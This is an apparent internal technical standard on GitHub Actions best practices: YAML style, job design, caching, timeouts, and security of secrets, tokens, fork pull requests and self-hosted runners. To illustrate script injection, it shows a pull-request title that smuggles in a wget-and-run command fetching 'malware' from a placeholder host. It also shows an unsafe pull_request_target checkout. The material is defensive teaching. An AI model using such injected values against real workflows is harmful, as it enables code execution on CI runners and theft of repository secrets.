TS-60: GitHub Actions

This this technical standard serves as a collection of best practices for using (and making) GitHub Actions.

YAML syntax

See also TS-30: YAML.

Actions and workflows are defined in YAML files. YAML is designed to be a human-readable, as well as a machine-parsable, data serialization format. YAML files SHOULD, therefore, be written primarily with readability in mind.

Consideration SHOULD also be given to the maintenance of YAML files. Give thought, for example, to how diffs will be presented in version control and pull request systems. For example, because Git is a line-based version control system, it is RECOMMENDED to use YAML’s multi-line syntax for lists. So, instead of this…

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

… do this:

on:
  push:
    branches:
      - main
  pull_request:
    branches:
      - main

YAML comment syntax SHOULD be used to document anything that is not intuitively understood from the YAML data structure and the workflow/action schema.

Designing workflows and actions

General guidelines

  • Prefer to compose workflows from modules. Encourage reuse by breaking out discrete parts of pipelines into actions, reusable workflows, or workflow templates.
  • Break down workflows into small, discrete jobs and steps. This will make it easier to manage conditions and dependencies.
  • Choose descriptive and meaningful names for your secrets and variables. It SHOULD NOT be necessary to consult any out-of-band documentation to understand the purpose of a secret or variable referenced in a workflow. If the meaning of a variable cannot be easily deduced from its name and context, include an adjacent comment to explain its purpose.
  • Names for workflows, jobs and steps should also be clear and consistent.
  • Test workflows thoroughly. Ensure that conditional logic and job dependencies work as expected. Do this by testing all the possible scenarios that could trigger each workflow.

Events

For some event types such as pull_request, if you do not specify the types of PR events on which you want your workflow to run, GitHub will assume default activity types. Better, then, to be explicit about the specific event types that you want to trigger your workflows.

In the following example, event filters and activity types are used to refine the pull_request event trigger. This workflow will run only when a PR is opened or synchronized (ie. when the HEAD commit of the PR changes), and only for PRs whose base branch is either main or dev.

on:
  pull_request:
    types:
      - opened
      - synchronize
    branches:
      - main
      - dev

jobs:
  echo:
    runs-on: ubuntu-latest
    steps:
      - run: echo "A PR has been opened or synchronized AND base branch is (main OR dev)"

Jobs

A single job may, for example, compile, test and deploy an application. Though convenient, it is generally considered to be best practice for each job definition to be responsible for a single concern, and for complex workflows to be composed from multiple single-responsibility jobs.

This has a number of advantages. For example, workflows will be easier to extend and maintain, and logging output will be easier to analyze.

Steps

All steps SHOULD be given a unique name. This will help to identify the output of each step in the logs, and so make it easier to debug failed workflows.

steps:
  - name: Say hello
    run: echo "Hello, world!"

Expressions

Expressions are commonly used in if attributes to make execution of an individual step or a whole job conditional.

jobs:
  production-deploy:
    if: github.repository == 'owner/repo' && github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Setup Nodes
        uses: actions/setup-node@v2
        with:
          node-version: '14'
      - name: Install bats
        run: npm install -g bats

The value of the if attribute is treated as a JavaScript expression, rather than a string value. Expressions can be used in other attributes, which assume string values by default, using the ${{ <expression> }} notation. But even in if values, if the expression starts with !, the whole expression MUST be encapsulated in the ${{ }} syntax, or escaped with '', "", or (). That’s because the exclamation mark is reserved notation in YAML.

So, for consistency, it is RECOMMENDED the ${{ <expression> }} syntax be used to wrap all expressions, even those in if values where this syntax is not required. Like this:

jobs:
  production-deploy:
    if: ${{ github.repository == 'owner/repo' && github.ref == 'refs/heads/main' }}
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Setup Nodes
        uses: actions/setup-node@v2
        with:
          node-version: '14'
      - name: Install bats
        run: npm install -g bats

Repository and environment variables

Workflows SHOULD include fallback values for variables that are supposed to be configured via the repository itself. The purpose is to protect the workflow from those variables being accidentally deleted from the repository’s configuration.

env:
  MY_ENV_VAR: ${{ vars.MY_ENV_VAR || 'default value' }}

For secrets, workflow scripts MUST check for a valid value and fail the step if a secret is missing.

Performance optimization

Minimalism

Keep individual workflows, and reusable actions, as minimal as possible. The more time something takes to set up and run, the higher the costs of running your CI/CD infrastructure. Even shaving a few seconds off the run of a workflow can add up to significant cost savings over a month, a year.

Prefer lightweight actions over heavyweight ones. Prefer JavaScript actions over container actions, and best of all are composite actions consisting of simple shell scripts. Where container actions are essential – for example where you require a specific programming language or toolchain – prefer to use light images, such as alpine or alpine-node, over heavy ones.

Don’t install unnecessary dependencies.

Caching

Be sure to use caching wherever possible. Have package managers cache dependencies, and cache any generated artifacts that can be reused between jobs or workflow runs.

Timeouts

By default, GitHub kills jobs after 6 hours if they have not finished by then. Many jobs don’t need nearly as much time to finish, but sometimes jobs can hang and the extended run consumes unnecessary minutes, which has a cost.

It is RECOMMENDED to specify shorter timeouts, appropriate for each job. This is specified in minutes via the jobs.<job_id>.timeout-minutes attribute.

jobs:
  set_config:
    timeout-minutes: 30
    runs-on: ubuntu-latest
    steps:
      - [...]

Concurrency

It is RECOMMENDED to implement a concurrency strategy for workflows, especially long-running, resource-intensive ones. This will cancel running workflows in the same group when an event triggers a new run of the same workflow. For example, you can automatically cancel intermediate builds on a PR when a newer commit gets pushed to the PR’s source branch.

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ startsWith(github.ref, 'refs/pull/') }}

See the GitHub Docs for further guidance.

Security

See also GitHub’s Security Hardening for GitHub Actions guide, and also the series of posts on GitHub’s Security Lab blog starting with "part 1: preventing pwn requests".

Secrets

Do not hard-code API keys, tokens, passwords, or other such secrets in workflow files, even if those files are committed to private repositories. All sensitive data MUST be managed via GitHub Secrets. GitHub Secrets provides a safe way to store and use secrets in your workflows.

Tip

CI workflows are also a good place to implement secrets detection using tools like GitGuardian.

Secrets SHOULD be regularly rotated, and unused ones deleted. Restrict who has permissions to create and update secrets.

Do not use complex data types for storing secrets. Secrets SHOULD be primitive values such as strings or numbers.

# Good
SENSITIVE_VALUE1 = "abcdef"
SENSITIVE_VALUE2 = 123456

# Bad
{
  "sensitiveValue1": "abcdef",
  "sensitiveValue2": 123456
}

Be sure to mask any generated sensitive values in log output. Audit the source code of third party actions to make sure they do the same.

echo "::add-mask::$GENERATED_SENSITIVE_VALUE"

Tokens

Avoid storing tokens (and other long-lived secrets) where possible. For example, rather than using API keys to authenticate with your infrastructure providers, prefer using OpenID Connect (OIDC).

DO NOT use classic Personal Access Tokens (PATS) to grant workflow access to code from another repository. Ideally, create a GitHub App and use its short-term credentials. If needed, use a fine-grained PAT and give it as few permissions as necessary for the workflow to do its job (ie. only read access to the required repositories).

When using fine-grained PATs, rotate then regularly. PATs are bound to specific GitHub users, so it is RECOMMENDED to create a generic shared user account against which to create your PATs.

GITHUB_TOKEN permissions

By default, GITHUB_TOKEN, which is automatically generated on each run, is given wide-ranging permissions to GitHub resources and operations. The principle of least privilege should be applied to these tokens, which means restricting permissions to the minimum required to do the job.

Permissions SHOULD be explicitly restricted on a per-workflow or per-job basis using the permissions attribute.

name: Open new issue
on: workflow_dispatch

# Workflow-level permissions - applies to all jobs in the workflow.
permissions:
  contents: read

jobs:
  open-issue:
    runs-on: ubuntu-latest
    # Job-level permissions.
    permissions:
      contents: read
      issues: write
    steps:
      - run: |
          gh issue --repo ${{ github.repository }} \
            create --title "Issue title" --body "Issue body"
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

See the GitHub Docs for a full list of available permissions.

Important

Workflows MUST NOT pass the $GITHUB_TOKEN value to untrusted third-party software, including actions from untrusted sources.

The same practices apply for all kinds of tokens you create to authenticate with any kind of service, and which you store in GitHub Secrets. Always restrict permissions to the bare essentials, and rotate tokens regularly – whatever those tokens are used for.

Environment variable scope

To limit their scope, environment variables should be declared at the step level wherever possible. Elevate them to the job or (rarely) the workflow level only to solve the problem of sharing data between steps within a job, and between jobs within a workflow.

Untrusted input

Don’t directly reference values you don’t control. Consider the following example:

- name: lint
  run: |
    echo "${{github.event.pull_request.title}}" | commitlint

This allows for injection of malicious code into the workflow. For example, raising a PR with the following title…

a" && wget https://example.com/malware && ./malware && echo "Title

… would cause the following code to be executed in your runner:

echo "a" && wget https://example.com/malware && ./malware && echo "Title" | commitlint

The following context data cannot be trusted:

  • github.event.issue.title
  • github.event.issue.body
  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.comment.body
  • github.event.review.body
  • github.event.pages.*.page_name
  • github.event.commits.*.message
  • github.event.head_commit.message
  • github.event.head_commit.author.email
  • github.event.head_commit.author.name
  • github.event.commits.*.author.email
  • github.event.commits.*.author.name
  • github.event.pull_request.head.ref
  • github.event.pull_request.head.label
  • github.event.pull_request.head.repo.default_branch
  • github.head_ref

There are two possible solutions. The RECOMMENDED one – the safest one – is to extract the scripts to custom actions, which accept the inputs via their arguments. These SHOULD be JavaScript or container actions. The risks associated with script injection are reduced because the action’s code is run in an isolated environment, rather than directly in the runner.

uses: ./.github/actions/print
with:
  text: ${{ github.event.pull_request.title }}

A second option is to bind the input value to an intermediate environment variable, and then print the value from that variable. This reduces the risks of script injection because the input value is not directly interpolated into the shell script. But this is not proper input sanitization, and this solution is not as robust as the first option. Nevertheless, it is probably perfectly adequate for private repositories where you trust the contributors.

- name: Print title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "$PR_TITLE"

Tip

It is best practice to double-quote shell variables to avoid word splitting. This practice is relevant to shell scripting in general, and is not specific to GitHub Actions.

In addition, it is RECOMMENDED to use code scanning tools to help detect potential exploits in your workflow code.

Consuming open source actions

There are many open source GitHub Actions that can be plugged in to your own workflows. However, just like with any open source software, open source actions MUST be carefully audited before integrating them into your development toolchain. The risks are similar to using package managers to automate the integration of third party components into your applications.

The following steps are RECOMMENDED when using third-party actions:

  • Use only actions that are actively maintained. Check that bugs are triaged and fixed, and that reported security vulnerabilities are quickly patched.
  • Use only actions that are published to the GitHub Marketplace, and only actions that have been verified by GitHub.
  • Review the action’s action.yml file for inputs and outputs, and check that the code does what it says it does.
  • Include a specific version of the action, which you have audited. Best practice is to specify a commit SHA, rather than a branch or version tag. This ensures that the action’s code is locked down and cannot be changed without you explicitly updating the version referenced from your workflow configuration. This will help to protect you from unexpected supply-chain compromises in the future.
- name: Checkout code
  uses: actions/checkout@a12a3943b4bdde767164f792f33f40b04645d846

PRs from forks

It is RECOMMENDED to disable automatic workflow runs from events triggered from forks.

Workflows on pull requests to public repositories from first-time outside contributors will not run automatically by default, but it is RECOMMENDED that you disable automatic workflow runs from being triggered by external contributors all of the time.

Project maintainers MUST review code coming from external PRs before triggering the CI to run on those changes. Workflow approval requirements can be configured for a repository, organization, or at the enterprise level.

More generally, when adding workflows to public repositories, consider the security implications by asking yourself the following questions:

  • What events could trigger a run?
  • What code will be executed in the runner? Can it be trusted?
  • What inputs are given to the workflow? Can that be trusted?
  • What data, secrets, and services does that code access?

Use of the pull_request_target event is especially dangerous and its usage MUST be restricted to a few specific use cases Specifically, when workflows runs are triggered by this event type, the workflows MUST NOT check out code, build or run code from the repository.

on: pull_request_target
#...
  - uses: actions/checkout@v3
    with:
      ref: ${{ github.event.pull_request.head.sha }}

Normally, workflow runs triggered from forks do not have access to secrets, or write access to the repository. But the pull_request_target event is a special case. For this event, the runner will be given the base repository’s secrets and by default the GITHUB_TOKEN will be granted write permissions on the PR’s base repository. This opens up more potential attack vectors than the conventional pull_request event (for which GITHUB_TOKEN has only read access to the base repository and no other secrets are given to the runner).

Even though workflow runs triggered by pull_request_target events happen in the context of the base repository, rather than the head branch of the fork repository (which is what the pull_request event does), GitHub nevertheless RECOMMENDS that workflow runs triggered by pull_request_target events do not checkout, build or run any code from the base repository. In addition, to prevent cache poisoning, such workflows SHOULD NOT save any caches.

The purpose of these recommendations is to protect against a security vulnerability known as a "pwn request", which is when an attacker has gained access to a system and has compromised the passwords of users, or other secrets, of that system.

There is more detail on this attack vector on GitHub’s Security Lab blog. Although the risks are low (because workflows triggered by pull_request_target events run on your code not their code), this event type SHOULD be reserved for limited use cases. GitHub’s documentation states that this event type was introduced "to enable workflows to label PRs (eg. needs review) or to comment on the PR" and is not intended to be used for any kind of building, running, or other processing of the PR’s changeset.

In summary, whenever you use pull_request_target in a workflow, the workflow’s jobs MUST NOT check out, build, or run the repository’s code.

Self-hosted runners

Use self-hosted runners only for running workflows defined in private repositories. Any code that runs-on: self-hosted runners MUST be kept private.

This is because, if in a public repository, third parties could run malicious code on your self-hosted runners by forking the public repository and then opening a pull request that triggers a workflow to run on the their code in the head branch of their fork. Thus, the code executed in your self-hosted runner is untrusted.

If you are using self-hosted runners, you are fully responsible for hardening your infrastructure to keep it secure from malicious use like this, for example by:

  • Configuring a dedicated low-privilege user.
  • Using isolated and ephemeral workloads to execute the jobs.
  • Implementing logging and monitoring to ensure visibility.

But the ultimate security is to make sure that your self-hosted runners can only be used by trusted users inside your organization. That means keeping private the workflows and actions that run on them.

Note

GitHub doesn’t allow personal accounts to use self-hosted runners on public repositories, but they do allow organizations to do so.

GitHub-hosted runners

It is recommended to pin workflows to specific runner versions, such as ubuntu-22.04 rather than ubuntu-latest. This means you must manually update workflow configurations when old runner versions are deprecated, but the tradeoff is your workflows will be more stable in the meantime. (This is less an issue of security, more an issue of maintenance.)

# Prefer:
runs-on: ubuntu-22.04

# To:
runs-on: ubuntu-latest